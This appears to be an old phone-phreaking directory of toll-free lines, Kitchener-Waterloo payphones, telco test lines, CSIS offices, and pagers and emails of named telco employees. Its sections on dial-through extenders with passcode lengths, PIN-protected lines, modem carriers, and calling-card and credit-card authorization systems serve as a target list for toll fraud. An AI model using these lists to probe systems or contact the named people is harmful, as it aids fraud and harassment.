+1-800-WILLIAMS Williams Communications Emergency line.
+1-877-240-1267 Cantel Centre De Communication Tech.
+1-877-326-2826 NCR Bell Help Desk.
+1-877-393285465 (1-877-EXECULINK) ExecuLink Internet Services.
+1-877-396-1122 WinTel Communications. (owned by PRIMUS Canada)
+1-877-396-3939 Union Telecom.
+1-877-4-BELLCO Cellular Connection.
+1-877-4-LUCENT Lucent Technologies.
+1-877-584-5551 AltaVista free access support line. (free Internet)
+1-877-66-triOS TriOS Training Centres. (MCSE, Unix, Novell)
+1-877-677-4687 (1-877-6-PRIMUS) Primus Canada Long Distance Services.
+1-877-724-2647 Security loser.
+1-877-727-3375 MinIowa Help Desk.
+1-877-742-7722 (1-800-SHARP-22) Sharp Canada Customer Care Center.
+1-877-777-4681 (1-877-SPRINT-1) London Telecom Network.
+1-877-875-2762 Pioneer Help Line.
+1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline.
+1-877-AIRFONE Message Center.
+1-877-MOBILECOM 800 Ideas.com Inc.
+1-877-MOTOROLA Motorola.
+1-877-NOVELL-1 Novell.
+1-877-ROGERS-1 Rogers Corporation.
+1-877-ROGERS-2 Rogers AT&T Wireless Automated Self-Service System.
+1-877-WILLIAMS Williams Long Distance (Collect Calls)
+1-877-WINTEL-1 WinTel Communications.
+1-877-WINTEL-2 WinTel Communications.
+1-877-WINTEL-3 WinTel Communications. (French)
+1-877-WINTEL-4 WinTel Communications.
+1-877-WINTEL-5 WinTel Communications.
+1-877-WINTEL-6 WinTel Communications.
+1-877-WINTEL-8 WinTel Communications.
+1-877-WINTEL-9 WinTel Communications.
+1-877-YOUR-MSN Micro$oft Network.
+1-88-TELIGENT Teligent.
+1-888-25-GREAT Cleveland Hotline.
+1-888-256-5678 NCR AlertLine.
+1-888-257-8826 Cantel Centre de Communication.
+1-888-266-7873 1-800-BRAND-IT (Toll Free Vanity Number Provider)
+1-888-267-3856 Compaq.
+1-888-288-4663 Rogers@Home Technical Support.
+1-888-321-3737 VIF Internet.
+1-888-339-1688 MediaOne.
+1-888-349-6972 Micron Electronics Technical Support.
+1-888-376-6843 Dial 800.
+1-888-4-LUCENT Lucent Technologies Canada.
+1-888-4-SENTEX Sentex Communications.
+1-888-478-2730 I-Star Internet Incorporated.
+1-888-504-2355 "Tony Bell" from Remax.
+1-888-536-2355 "This is Ken Bell." (Voice)
+1-888-553-8711 Telephone Support Systems.
+1-888-582-3686 (1-888-LUCENT6) Lucent Technologies Shareholder Services.
+1-888-582-3688 Lucent Technologies.
+1-888-622-3289 Fastekk Systems.
+1-888-663-3279 Canada Trust Co.
+1-888-673-8925 Micro$oft's Y2K Disclosure Line.
+1-888-692-1122 CompuServe.
+1-888-700-3279 InterTel Network Solutions.
+1-888-714-6695 Scarborough Computers (Authorized Shaw@Home Retailer)
+1-888-715-2355 Call Home America Ultimate 800.
+1-888-736-8567 Motorola.
+1-888-750-6990 Shaw@Home Technical Support.
+1-888-751-8088 Guinness World Records.
+1-888-774-6383 Prime Tel Communications, Inc.
+1-888-791-0176 Primus Canada (iPrimus)
+1-888-825-2355 Connect America.
+1-888-839-9295 IBM Haliburton Service Desk.
+1-888-871-5111 Hewlett-Packard Computer Supplies.
+1-888-DELL-PCS DELL Canada.
+1-888-EMAIL-ME College Club Free VoiceMail. (U.S. only)
+1-888-IBM-5800 IBM Small Business Solutions Center.
+1-888-MILLENNIUM 800 Ideas.com
+1-888-MOTOROLA Motorola.
+1-888-ROGERS-1 Rogers Cable.
+1-888-ROGERS-2 Rogers Connection.
+1-888-SHAWPAGE Shaw Call Center.
+1-888-STAR-602 Star Choice Customer Service.
+1-888-STCK-NCR NCR Corporation Associates Stock Ownership at Merrill Lynch.
+1-888-TEL-CORD "This is Roy." (ask for your telephone cord back!)
+1-888-WINTEL-1 WinTel Communications.
+1-888-Y-TOP-TEN ATN's Top Ten reasons why you should get a toll free number.
+
+
+-------------------------------------------------------------------------------
+ Payphones:
+-------------------------------------------------------------------------------
+
+(519) 576-0354 Paytel Payphone Weber Street. Kitchener, ON. (C) (O)
+(519) 576-5239 King Street. Kitchener, ON. (M) (O)
+(519) 576-9444 King Street. Kitchener, ON. (M) (O)
+(519) 578-9318 Highland Road Kitchener, ON. (M) (O)
+(519) 744-3349 1st Canadian Telecom at Queen & Duke St. Kitchener, ON. (C) (O)
+(519) 746-2685 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-3561 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-3793 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-4654 University of Waterloo Athletics Building. (DM) (I)
+(519) 746-7039 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-7787 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-9070 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-9172 East Side Marios University St. Plaza Waterloo, ON. (M) (I)
+(519) 746-9203 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-9305 University Shops Plaza I Waterloo, ON. (M) (O)
+(519) 746-9324 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-9631 University of Waterloo South Campus Bus Stop. (M) (O)
+(519) 749-8877 1st Canadian Telecom Payphone Queen St. Kitchener, ON. (C) (O)
+(519) 749-9335 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9357 King and Gaukel Street. Kitchener, ON. (M) (O)
+(519) 749-9407 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9503 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9505 King and Benton Street. Kitchener, ON. (M) (O)
+(519) 749-9524 King and Water Street. Kitchener, ON. (CE) (O)
+(519) 749-9535 King Street. (near Benton St.) Kitchener, ON. (M) (O)
+(519) 749-9539 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9578 King Street. (near Queen St.) Kitchener, ON. (M) (O)
+(519) 749-9607 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O)
+(519) 749-9609 Queen Street across from Encore Records. Kitchener, ON. (CE) (O)
+(519) 749-9627 King Street. (near Queen St.) Kitchener, ON. (M) (O)
+(519) 749-9650 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9657 Kitchener Transit Bus Terminal. (M) (O)
+(519) 749-9659 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9662 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9704 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9710 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O)
+(519) 749-9732 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9749 Kitchener Transit Bus Terminal. (M) (O)
+(519) 749-9782 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9784 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9893 Kitchener Transit Bus Terminal. (M) (O)
+(519) 883-1061 University Shops Plaza I Waterloo, ON. (M) (O)
+(519) 883-1384 University Shops Plaza I Waterloo, ON. (M) (O)
+(519) 888-0837 University of Waterloo Athletics Building. (M) (I)
+(519) 888-7236 University Shops Plaza II Williams Cafe. (M) (I)
+(760) 733-9969 Mojave Desert Phone Booth in California. (A) (O)
+(905) 946-9953 Markham, ON coffee shop. (A) (I)
+
+(A)=Accepts Incoming Calls, (C)=COCOT, (CE)=Centurion, (DM)=Desktop Millennium,
+(I)=Indoors, (M)=Millennium, (O)=Outdoors.
+
+For more payphone numbers, visit www.payphone-directory.org
+
+
+-------------------------------------------------------------------------------
+ Telco Employees (Answering Machines and Pagers):
+-------------------------------------------------------------------------------
+
+(416) 377-3724 Mike Turner's Pager (works for Bell)
+(416) 379-2117 Dave Twiner's Pager (works for Bell)
+(416) 581-3311 irene.shimoda@bell.ca
+(514) 786-3655 shirley.bishop@bell.ca
+1-800-407-2355 John with Southwestern Bell Wireless.
+1-800-455-6813 Jack Hogan of MCI WorldCom's Pager.
+1-800-465-9625 Bell Canada Media Relations (Shirley Bishop)
+1-800-493-2603 Kimberly Smith at Qwest Communications.
+1-800-519-6245 TONE then "Sprint - Kimberly Martin." (Answering Machine)
+1-800-661-0480 Debbie Southerland of Bell ActiMedia.
+1-877-391-2007 Bell Canada Media Relations (Louis Arseneault)
+1-888-482-0809 Bell Canada Media Relations (Irene Shimoda)
+
+
+-------------------------------------------------------------------------------
+ Numbers that Require PINs:
+-------------------------------------------------------------------------------
+
+1-800-235-3155 "Welcome. Enter the PIN number you wish."
+1-800-249-6245 "Please enter your 7 digit access code."
+1-800-309-6678 "Please enter your PIN number now."
+1-800-352-8201 "Please enter your 4 digit PIN."
+1-800-525-7877 "Please enter your 4 digit PIN."
+1-800-549-6245 "Welcome. Enter the PIN number you wish."
+1-800-555-2250 "Enter the PIN number you wish."
+1-800-566-6245 "Please enter your four digit PIN."
+1-800-643-6245 "Enter ID number immediately followed by your security code."
+1-800-749-4200 "Enter the PIN number you wish."
+1-800-827-4780 "Please enter your PIN number."
+1-800-827-9910 SkyTel. "Enter the PIN number you wish."
+1-800-862-6340 "Please enter your 4 digit PIN."
+1-888-612-2355 "Enter the PIN number you wish."
+1-888-614-2355 "Enter the PIN number you wish."
+1-888-623-2355 "Enter the PIN number you wish."
+
+
+-------------------------------------------------------------------------------
+ Carriers:
+-------------------------------------------------------------------------------
+
+1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping)
+1-800-234-6245 MCI (USA)
+1-800-283-5474 Okidata (inside joke!)
+1-800-346-3247 CompuServe.
+1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA)
+1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA)
+1-800-444-8697 RTK-NET.
+1-800-472-INET Unisys, UEN Internet Access Gateway - Eagan, MN
+1-800-604-6245 Digital Equipment Corporation.
+1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit.
+1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines)
+1-803-939-8207 NCR Global Support Center BBS. (9 lines)
+
+(Use the N-8-1 setting to connect to the carriers above.)
+
+
+-------------------------------------------------------------------------------
+ Cellular, PCS and Paging Services:
+-------------------------------------------------------------------------------
+
+1-800-214-4488 Wireless Solutions Hotline.
+1-800-222-8466 Cellular Rentals.
+1-800-263-7536 Nokia Mobile Phones.
+1-800-264-2355 (1-800-ANI-CELL) Cellular South Answer Center.
+1-800-274-3127 MobileCom's National Customer Service Center.
+1-800-276-2355 Frontier Communications Customer Service.
+1-800-374-2355 InterCall.
+1-800-374-2776 Ericsson Mobile Phones Customer Care Center.
+1-800-405-6543 American Mobile.
+1-800-411-2355 Car Phone Store.
+1-800-432-2355 Air Touch Paging.
+1-800-438-2355 Kentucky Cellular.
+1-800-452-2355 Appalacian Wireless.
+1-800-460-2255 Pager Service.
+1-800-474-2355 OmniCell Technologies Incorporated.
+1-800-481-2355 ATI Cellular.
+1-800-483-5010 Cellular Express.
+1-800-488-2355 Cellular 2000.
+1-800-496-2355 Nationlink.
+1-800-518-2355 CellToys International. (Cellular, PCS, accessories etc.)
+1-800-549-2355 Advanced Cellular and Paging.
+1-800-590-2355 ATI Cellular.
+1-800-613-2355 Cellular Unlimited.
+1-800-638-2355 Comcev Cellular Communications.
+1-800-667-7243 Cantel AT&T Paging.
+1-800-673-2355 Quintex Cellular.
+1-800-6AIR-TOUCH Air Touch Paging Canada.
+1-800-705-2355 OmniCell Technical Department VMS.
+1-800-706-2355 Paging Service Center.
+1-800-724-2355 AllCell Rentals.
+1-800-742-2355 Mobile Media.
+1-800-759-2355 Plymouth Bell Laboratories.
+1-800-765-2355 Isralink Communications. (Israel Cell phones)
+1-800-794-2355 Advantage Communications Systems.
+1-800-806-2355 Advantage Paging. (I believe it's Bell Advantage)
+1-800-821-2355 MobileCom.
+1-800-854-2355 MobileCall accounts.
+1-800-866-2770 MobileCom. (pager service)
+1-800-866-7000 MobileCom.
+1-800-871-2355 The Phone Man. (I'm fucking serious... Haha)
+1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only)
+1-800-874-6387 Trellis Communications.
+1-800-887-2255 Trellis Premier Voice Mail and Paging.
+1-800-926-2355 Ubet Wireless.
+1-800-969-9998 Cable and Wireless USA.
+1-800-980-2355 Light Cellular.
+1-800-999-6500 Cable and Wireless Customer Care Center.
+1-800-PSI-1141 PSI Net.
+1-800-WIRELESS Page USA.
+1-877-948-4968 (1-877-WITH-YOU) Frontier Cellular.
+1-877-CELLPHONE Travel Phone (Cellular phone company)
+1-877-WIRELESS Cellular Depot.
+1-888-229-4443 Cantel AT&T Canada.
+1-888-300-2355 Consolidated Wireless Corporation.
+1-888-444-2355 Maricell Cellular.
+1-888-481-FIDO Fido PCS Services.
+1-888-593-2355 S&E Cellular.
+1-888-638-2355 Cantel AT&T.
+1-888-694-2355 Corporate Communications at AirTouch Customer Service.
+1-888-801-2355 Cell Phones and Accessories.
+1-888-858-4PSI PSI Net Canada.
+1-888-877-2355 Comcev Communications.
+1-888-879-2355 Portable Communications. (The home of the Phone Man)
+1-888-901-2355 Digital Communications.
+1-888-902-2355 NewTech Wireless. (Paging, cellular, equipment, etc.)
+1-888-968-2355 Everything Wireless.
+1-888-999-2355 Downtown Wireless.
+1-888-CELL-COM CellCom and PageCom.
+1-888-PSI-NET1 PSI Net Limited.
+1-888-PSI-NET2 PSI Net Limited.
+1-888-WIRELESS Page USA.
+
+
+-------------------------------------------------------------------------------
+ Free Disks:
+-------------------------------------------------------------------------------
+
+1-800-487-4838 CompuServe.
+1-800-777-9638 Sprynet - Gives you two disks.
+1-800-786-7638 SunSoft - Free 30-day evaluation disk. (press 1)
+1-800-827-6364 America Online.
+1-800-PRODIGY Prodigy Internet Services.
+1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks)
+
+
+-------------------------------------------------------------------------------
+ Calling Cards:
+-------------------------------------------------------------------------------
+
+1-800-213-0304 Talk `n Toss Calling Card.
+1-800-213-4222 Calling Card.
+1-800-225-5475 Smart Cards USA.
+1-800-265-3121 Prepaid LD.
+1-800-277-7468 Sprint Prepaid Calling (press 1)
+1-800-279-6111 Unidial Calling Card.
+1-800-303-5156 OLA Ontario Pre-paid calling card.
+1-800-393-0711 7-11 Calling Cards.
+1-800-396-2454 Tech-Card Customer Service.
+1-800-423-4343 AT&T Calling Cards (16 digit code) (automated)
+1-800-429-8036 OLA Ontario Pre-paid calling card Customer Service.
+1-800-437-6404 Champs Sports Calling Card (9 digit code)
+1-800-437-6415 Coca-Cola prepaid phone card dialup.
+1-800-437-9291 Star Telecom Network "Please enter your card number."
+1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (Mail-order telphonics equipment,
+ pre-paid phone cards, etc.)
+1-800-463-0004 Calling card service.
+1-800-475-9105 Customer Service for pre-paid calling cards.
+1-800-484-2266 MCI WorldCom. (4 Digit Security Code)
+1-800-484-6245 MCI. (4 Digit Security Code)
+1-800-560-6245 "Please enter your four digit Frontier Spectrum PIN."
+1-800-572-6361 Pepsi Phone Card.
+1-800-662-6214 AT&T Calling Cards.
+1-800-674-6245 Musical Notes and then "Please enter your card number now."
+1-800-674-7325 MCI Calling Card.
+1-800-674-9997 MCI Calling Card.
+1-800-690-6245 "Please enter your four digit Frontier Spectrum PIN."
+1-800-783-1414 Frontier Access Card.
+1-800-811-3728 Globo Prepaid Phone Cards (10 digit codes) (automated)
+1-800-814-2808 Sprint Prepaid calling card service.
+1-800-827-8750 "Please enter your calling card number."
+1-800-836-2255 "Press 1 for English, 2 for Korean. Enter your card number."
+1-800-860-4444 Qwest Communications. (calling card calls)
+1-800-864-7000 Premier World Link Access Number.
+1-800-909-3191 Tech-Card (William Shatner)
+1-800-909-3206 MCI WorldCom Pre-paid Card System
+1-800-909-3207 MCI WorldCom Pre-paid Card System
+1-800-909-3212 MCI WorldCom Pre-paid Card System
+1-800-909-3214 GTN-Phone Card System
+1-800-909-3215 Pre-paid Calling Card System
+1-800-909-3217 1-800 Pre-paid
+1-800-909-3218 1-800 Pre-paid
+1-800-909-3219 1-800 Pre-paid
+1-800-909-3225 MCI WorldCom Pre-paid Card System
+1-800-909-3231 MCI WorldCom Pre-paid Card System
+1-800-909-3236 MCI WorldCom Pre-paid Card System
+1-800-909-3240 MCI WorldCom Pre-paid Card System
+1-800-909-3242 MCI WorldCom Pre-paid Card System
+1-800-909-3245 MCI-Exchange Card Service
+1-800-909-3477 Pre-paid Long-Distance Service
+1-800-909-3533 Pre-paid Long-Distance Phonecard (PEI/PC)
+1-800-909-3640 MCI WorldCom Pre-paid Card System
+1-800-909-3641 MCI WorldCom Pre-paid Card System
+1-800-909-3642 MCI WorldCom Pre-paid Card System
+1-800-909-3643 "All State" (MCI WorldCom Pre-paid Card System)
+1-800-909-3646 MCI WorldCom Pre-paid Card System
+1-800-909-3653 MCI WorldCom Pre-paid Card System
+1-800-909-3654 MCI WorldCom Pre-paid Card System
+1-800-909-3657 MCI WorldCom Pre-paid Card System
+1-800-909-3661 Pre-paid Calling Card System
+1-800-909-4495 Calling Card System (Insimity Point Security Code)
+1-800-997-6245 Decoma calling card service. "Please enter your card number."
+1-800-999-9000 TONE. "Please enter your MCI WorldCom card number now."
+1-800-BCE-HELP Ideal Dial's Telecard Platform.
+1-877-258-9088 Globo Prepaid Phone Cards Customer Service.
+1-888-813-1426 Kokanee Talkin' Tag Phone Card (10 digit PIN)
+
+
+-------------------------------------------------------------------------------
+ Teleconferencing:
+-------------------------------------------------------------------------------
+
+1-800-225-5100 AT&T Corporate Teleconferencing.
+1-800-225-5500 Teleconference Assistance.
+1-800-225-5700 AT&T Teleconferencing.
+1-800-232-1234 AT&T Teleconferencing.
+1-800-235-0900 AT&T Teleconferencing. (Spanish and English)
+1-800-255-5100 AT&T Teleconferencing.
+1-800-255-5500 AT&T Teleconferencing.
+1-800-369-1117 MCI Teleconferencing.
+1-800-475-4455 Conference Calling Center.
+1-800-475-6894 Quarrel Conferencing.
+1-800-525-8244 Frontier Confertech.
+1-800-544-6363 AT&T Alliance Teleconference Service.
+1-800-567-3678 Bell (Dis)Advantage Teleconference (Canada)
+1-800-569-0788 A Better Conference.
+1-800-625-5288 Teleconference Playback Center.
+1-800-668-4210 Frontier ConferTech.
+1-800-827-1700 Conference Call USA.
+1-800-886-2355 Frontier Teleconferencing.
+1-800-900-6338 Advantage Conferencing Services.
+1-800-925-8000 Conference America.
+1-800-962-0044 Conf Call USA.
+
+
+-------------------------------------------------------------------------------
+ Credit Card Verification:
+-------------------------------------------------------------------------------
+
+1-800-228-1111 American Express.
+1-800-228-1122 Credit Card Verification.
+1-800-268-2530 Credit Card Verification.
+1-800-268-8281 Royal Bank Authorization Centre for Visa Cards.
+1-800-333-1337 Authorization Centre.
+1-800-336-0220 Credit Card Service Bureau.
+1-800-361-8370 National Bank Authorization Centre for Master Card.
+1-800-528-2121 American Express Card.
+1-800-555-1880 Fleet's Card Activation and PIN line.
+1-800-556-5678 Bank number to report stolen bank cards.
+1-800-561-5224 Credit Authorization Centre
+1-800-796-2355 Card Services (Visa and Mastercard)
+1-800-810-2355 Customer Service Center.
+1-800-866-5000 National Credit Center.
+1-800-925-8888 Automated Authorization Centre. (Credit Cards)
+
+
+-------------------------------------------------------------------------------
+ Canadian Security Intelligence Service (CSIS):
+-------------------------------------------------------------------------------
+
+(204) 983-5405 CSIS in Winnipeg.
+(306) 780-5512 CSIS in Saskatchewan.
+(403) 292-5255 CSIS in Calgary.
+(403) 421-5800 CSIS in Edmonton.
+(416) 865-1480 CSIS in Toronto.
+(418) 529-8926 CSIS in Quebec City.
+(506) 452-3786 CSIS in Fredericton.
+(514) 393-5600 CSIS in Montreal.
+(604) 528-7400 CSIS in British Columbia.
+(613) 993-9620 CSIS HQ in Ottawa.
+(613) 998-1679 CSIS.
+(709) 772-5449 CSIS in Newfoundland.
+(902) 420-5900 CSIS in Halifax.
+1-800-267-7685 CSIS (Ontario only)
+1-800-564-0866 CSIS (Toronto region)
+1-800-661-5780 CSIS (Alberta/Saskatchewan/Manitoba/Thunder Bay only)
+
+
+-------------------------------------------------------------------------------
+ Non-Toll Free Extenders, etc.
+-------------------------------------------------------------------------------
+
+(519) 651-2000 Extender.
+(519) 651-2250 The Communications Group.
+(519) 651-2252 Extender (4 digit Client numbers and passcodes)
+(519) 654-9000 Ability Telecom extender/diverter. (4 digit passcodes)
+(519) 742-9621 Bell Canada VMS.
+(519) 846-2255 Extender. (5 digit passcode)
+(519) 846-8786 PBX (dial "9" then the number)
+(519) 895-2255 Extender. (5 digit passcode)
+
+
+-------------------------------------------------------------------------------
+ Silent Lines, Test Lines and Strange Messages:
+-------------------------------------------------------------------------------
+
+(403) 425-0052 Gives you Info about a Bell CO in Alberta.
+(416) 690-4804 - Remote 44A (aka Bell Hut) (it's a switching center)
+(423) 539-0001 Memorycall Access line.
+(423) 588-9909 Memorycall Access line.
+(423) 602-7811 Remote Call FWD Access.
+(514) 391-1715 Wide Area Telephone Service (WATS)
+(514) 391-4005 MDAR Trouble line.
+(514) 481-1111 1khz tone.
+(514) 481-1191 1Khz&Battery.
+(514) 673-2111 Centrex (ASA)
+(514) 786-6786 Control.
+(514) 852-8686 Cables.
+(514) 870-0200 CDE code MTL.
+(514) 870-0669 CDE code MTL.
+(514) 870-0704 CDE code MTL.
+(514) 870-1252 DMS.
+(847) 823-9995 Gives reading on the Bell CO, including alert and battery
+ conditions and temperature. Also allows you to check the sound
+ levels, allowing you to hear inside the CO.
+1-800-200-0301 Test line (loud beep)
+1-800-200-0302 Test line (loud beep)
+1-800-221-0200 Siren Tones.
+1-800-225-5122 "We are sorry but this program has not started. Thank you for
+ calling."
+1-800-225-5300 "We are sorry but this program has ended and no further calls are
+ being taken. Thank you for calling."
+1-800-225-5308 High pitched TONE.
+1-800-225-5528 TONE. "Please enter the number you are calling."
+1-800-225-5563 Ring+Silent line.
+1-800-225-5871 High Tone then Dialtone.
+1-800-265-1111 High Tone.
+1-800-266-9999 Fast Busy Signal.
+1-800-323-8126 Dialtone.
+1-800-356-2255 Dialtone.
+1-800-361-8313 Bell Canada. "There is no service at this number."
+1-800-369-2255 Silent line.
+1-800-430-7938 DMS.
+1-800-437-3025 No Ring+Silent Line.
+1-800-437-8351 High Tones.
+1-800-444-1677 Siren Tones.
+1-800-455-2013 Ring + Click then Trunk Busy signal.
+1-800-455-7947 1 Ring then silent line.
+1-800-465-7735 Strange Tones.
+1-800-475-2037 Siren Tones.
+1-800-483-2276 No Ring + Trunk Busy signal.
+1-800-483-2655 "We're sorry, we're unable to place a call from this number."
+1-800-483-2933 Siren Tones.
+1-800-483-9774 Ring + Trunk Busy Signal.
+1-800-485-2255 Ring + Trunk Busy Signal.
+1-800-522-2255 Dialtone.
+1-800-555-1120 "We are sorry but this program has ended and no further calls are
+ being taken. Thank you for calling."
+1-800-555-1220 Same message as 1-800-555-1120.
+1-800-555-1226 Siren Tones.
+1-800-555-2123 Tones.
+1-800-555-2147 Ring + Trunk Busy signal.
+1-800-555-2342 Dialtone. (PBX)
+1-800-555-3585 Dialtone. (PBX)
+1-800-555-3696 Silent line.
+1-800-555-6690 Tone.
+1-800-565-6737 High Tone.
+1-800-624-2255 "We're sorry. We're unable to place a call from this number.
+ Goodbye."
+1-800-638-0156 Tones.
+1-800-647-2255 "I'm sorry. We are no longer taking calls for this project."
+1-800-745-6678 Dialtone.
+1-800-747-6678 High Tone.
+1-800-749-2355 High Tone.
+1-800-827-0000 "You have entered an invalid telephone number..."
+1-800-827-0011 "We're sorry, all circuits are now busy..."
+1-800-827-0036 No Ring+Click+Trunk Busy.
+1-800-827-0058 High Tone.
+1-800-827-1227 Ring+Trunk Busy.
+1-800-827-3210 NIS (Reads back 827-3210)
+1-800-827-3750 "You have dialed an invalid location."
+1-800-827-7878 "You have dialed an invalid location."
+1-800-827-9010 "We're sorry, the number you have called is an invalid number."
+1-800-827-9876 NIS (Reads back 827-9876)
+1-800-827-9890 "You have reached a number that is NIS at this time. 827-9890."
+1-800-827-9892 "You have reached a number that is NIS at this time. 827-9892."
+1-800-827-9904 "You have reached a number that is NIS at this time. 827-9904."
+1-800-861-9905 Loud Ring+Tones then "Thank you. Please hang up now."
+1-800-862-6338 Blast of Noise. "Please enter your calling card PIN number."
+1-800-866-9317 High Tone.
+1-800-877-8000 Low Tone.
+1-800-878-3532 High Tone.
+1-800-898-2355 Silent line.
+1-800-900-1302 Silent line.
+1-800-900-2274 Silent line.
+1-800-909-3467 Low Tone (PBX)
+1-800-909-4358 High Tone.
+1-800-909-4364 High Tone.
+1-800-925-0288 "This is not a valid number."
+1-800-925-3300 Low Tone.
+1-800-925-6620 Low Tone.
+1-800-925-8300 Rings+Silent Line.
+1-800-959-9997 "Test 1, 2, 3, 4." message.
+1-877-900-EASY "You have reached an inactive number on the EasyTel network."
+1-888-374-2355 "You have entered an invalid telephone number."
+1-888-468-2355 "Due to technical difficulties we cannot record your message
+ at this time."
+1-888-487-5346 L.E.G.O.S.
+1-888-786-6786 Control.
+1-888-871-2380 Waterloo Facilities.
+
+
+-------------------------------------------------------------------------------
+ FAX-Backs:
+-------------------------------------------------------------------------------
+
+1-800-222-9323 AMV FAX-Back
+1-800-268-9100 Bell Canada 1-900, 976, Info Line (2,1,2,AC,NUM,#,#)
+1-800-282-2000 Phillips (1,2,6,AC,NUM,#,1,#)
+1-800-323-6586 Tandy Retail Services FAX-Back. (order Tandy docs!)
+1-800-345-1518 Compaq Computer PaqFax
+1-800-365-0696 Genecom Corporation FAX-back service. (Digital Printer Support)
+1-800-368-9673 Hewlett-Packard Information Storage Quick Fax (1,2,AC,NUM,1,2,)
+1-800-380-0030 Diamond (2,2AC,NUM,#,1,AC,NUM,#,1)
+1-800-443-1254 HP Portable Products (5,5,5,#,3,2,2,2,1#AC,NUM,#,1,#,)
+1-800-446-6212 Analog Fax (2,1,0,AC,NUM,1,AC,NUM,#,1)
+1-800-451-2100 Lucent Technologies Main number (get product info by FAX).
+1-800-483-2495 Central FAX on demand system. (FAX-Back)
+1-800-521-2846 Brother FAX-Back (they make fax machines and typewriters)
+1-800-522-6752 Amp Fax (1,8,90,#,#,AC,NUM,#,#,AC,NUM,#,#,#)
+1-800-525-3019 Intel (1,1,3,2,AC,NUM,1,#)
+1-800-722-4786 Sun Microsystems Service Canada (1,2,4,1,AC,NUM,#,1)
+1-800-727-3351 Micro$oft Sales FAX Service Line. (press *,1,1,AC,NUM,#,5,0)
+1-800-822-4269 Borland Tech-Fax Document Retrieval System (3,2,1,AC,NUM,#,1,3,1)
+1-800-827-3000 Elite Group (press 1 for Fax-back)
+1-800-832-4778 Western Digital Fax Access (2,1,1,1,AC,NUM,#,1,AC,NUM,#,1)
+1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1)
+ (pressing 6 transfers you to the Ameritech Team Data Information
+ Server which you can use to obtain telco info via FAX-Back)
+1-800-872-4786 Sun Microsystems Service United States (2,4,1,AC,NUM,#,1)
+1-800-879-8632 US West News line. (U.S. only)
+1-800-909-0261 Apple Fax.
+1-800-909-0263 3M Economic Services Fax-On-Demand System.
+1-800-909-0264 Kinko's Fax-On-Demand Service.
+1-800-909-0269 Co-merica Bank, California's Fax-On-Demand Service.
+1-800-943-8329 Integrated Device Tech (1000,1,3000,1,#,AC,NUM#,1,#)
+1-800-IBM-4FAX IBM FAX Information Service. (3,1,0,1,1,1,AC,NUM,#,1,1)
+1-800-SKY-USER SkyTel Customer Service. (press 3 for FAX on demand for docs)
+1-888-322-8444 Hartford Shareholders News & Info FAX-Back (3,1,AC,NUM)
+
+
+-------------------------------------------------------------------------------
+ Yellow Pages:
+-------------------------------------------------------------------------------
+
+(519) 579-2252 Baca Communications. (Bell Mobility Dealer)
+(519) 654-2211 Bestel Message Centre Ltd. (Paging Services)
+(519) 725-2570 Bell Mobility Baca.
+(519) 744-7781 Bell Mobility Centre (Highland Hills Mall)
+(519) 745-3900 Bestel Message Centre Ltd. (Full Messaging, Voice Mail, Paging)
+(519) 893-8777 Bell World.
+(519) 894-2211 Bell Mobility Cellular Plus Centre.
+1-800-311-WORK Bell Canada.
+1-800-387-7243 (1-800-387-PAGE) Bell Mobility Paging.
+1-800-917-1917 Bell Canada's Advantage Call Centre Solutions.
+
+(519) 888-9660 Cantel AT&T Store (Connestoga Mall)
+(519) 893-1811 Cantel AT&T Automated Self-Service System.
+1-800-268-1087 Cantel AT&T Paging Customer Service.
+1-888-353-4726 (1-88-TELEGRAM) AT&T Canada. (Send a Telegram Worldwide)
+
+(519) 741-5990 London Telecom Network.
+(519) 743-3602 Extend Communications Inc. (Pagers, Voice Mail Boxes, etc.)
+(519) 748-3200 Rogers Cablesystems General Enquiries.
+(519) 749-2434 Clearnet Business Communications Centre. (Paging, PCS, etc.)
+(519) 893-2310 Rogers Technical Assistance.
+(519) 893-4400 Rogers Community Programming.
+(519) 896-7600 Ericsson Communications Canada Inc.
+(905) 561-5443 Digital Mobile Systems Inc.
+
+1-800-216-0888 PageNet.
+1-800-263-4824 Digital Mobile. (Authorized Motorola Dealer)
+1-800-265-8725 Shaw Paging.
+1-800-270-8220 SOS 2000. (Government Canada line that lists businesses which
+ offer Year 2000 expertise and services)
+1-800-453-6835 Glentel Inc. Mobile Satellites.
+1-800-838-0298 MRC Systems Inc.
+1-888-253-2763 (1-888-CLEARNET) Clearnet Inc.
+1-888-474-3486 Iridium Canada. (Voice, Data, FAX & Paging Services)
+
+
+Internet:
+
+(519) 570-2121 GO INTERNET CAFE.
+(519) 651-3400 Sentex Communications.
+(519) 885-0211 BondNet Internet Services Inc. (Cisco Systems Reseller, Lucent
+ Technologies Agent)
+1-800-263-8433 Burlington Network Services.
